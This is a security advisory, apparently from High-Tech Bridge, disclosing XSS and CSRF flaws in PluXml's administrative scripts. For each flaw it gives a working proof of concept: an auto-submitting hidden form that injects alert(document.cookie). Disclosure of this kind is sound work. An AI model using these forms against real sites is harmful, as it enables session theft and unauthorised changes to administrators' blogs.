Multiple Vulnerabilities in PluXml

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PluXml which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in PluXml
1.1 The vulnerability exists due to input sanitation error in the "content" parameter in /core/admin/article.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/core/admin/article.php" method="post" name="main" >
<input type="hidden" name="artId" value="0001">
<input type="hidden" name="title" value="article title">
<input type="hidden" name="author" value="001">
<input type="hidden" name="chapo" value="">
<input type="hidden" name="content" value='page html content"><script>alert(document.cookie)</script>'>
<input type="hidden" name="day" value="23">
<input type="hidden" name="month" value="09">
<input type="hidden" name="year" value="2010">
<input type="hidden" name="time" value="15:45">
<input type="hidden" name="catId[]" value="001">
<input type="hidden" name="new_catid" value="002">
<input type="hidden" name="new_catname" value="">
<input type="hidden" name="tags" value="PluXml">
<input type="hidden" name="allow_com" value="1">
<input type="hidden" name="url" value="article-page-url">
<input type="hidden" name="template" value="article.php">
<input type="hidden" name="preview" value="Aper&ccedil;u">
</form>
<script>
document.main.submit();
</script >
1.2 The vulnerability exists due to input sanitation error in the "title" parameter in /core/admin/parametres_base.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/core/admin/parametres_base.php" method="post" name="main" >
<input type="hidden" name="title" value='PluXml"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value="le blog full XML">
<input type="hidden" name="racine" value="http://host/">
<input type="hidden" name="delta" value="+00:00">
<input type="hidden" name="allow_com" value="1">
<input type="hidden" name="mod_com" value="0">
<input type="hidden" name="editor" value="plxtoolbar">
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery vulnerabilities in PluXml
2.1 The vulnerability exists due to insufficient validation of the request origin in core/admin/profil.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/core/admin/profil.php" method="post" name="main" >
<input type="hidden" name="name" value="Ildar">
<input type="hidden" name="infos" value='<script>alert(document.cookie)</script>'>
<input type="hidden" name="profil" value="Modifier votre profil">
<input type="hidden" name="password1" value="">
<input type="hidden" name="password2" value="">
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin in core/admin/statique.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/core/admin/statique.php" method="post" name="main" >
<input type="hidden" name="id" value="001">
<input type="hidden" name="content" value="<p><?php echo 'Ma premi&egrave;re page statique !'; ?></p><script>alert(document.cookie)</script>">
</form>
<script>
document .main.submit();
</script>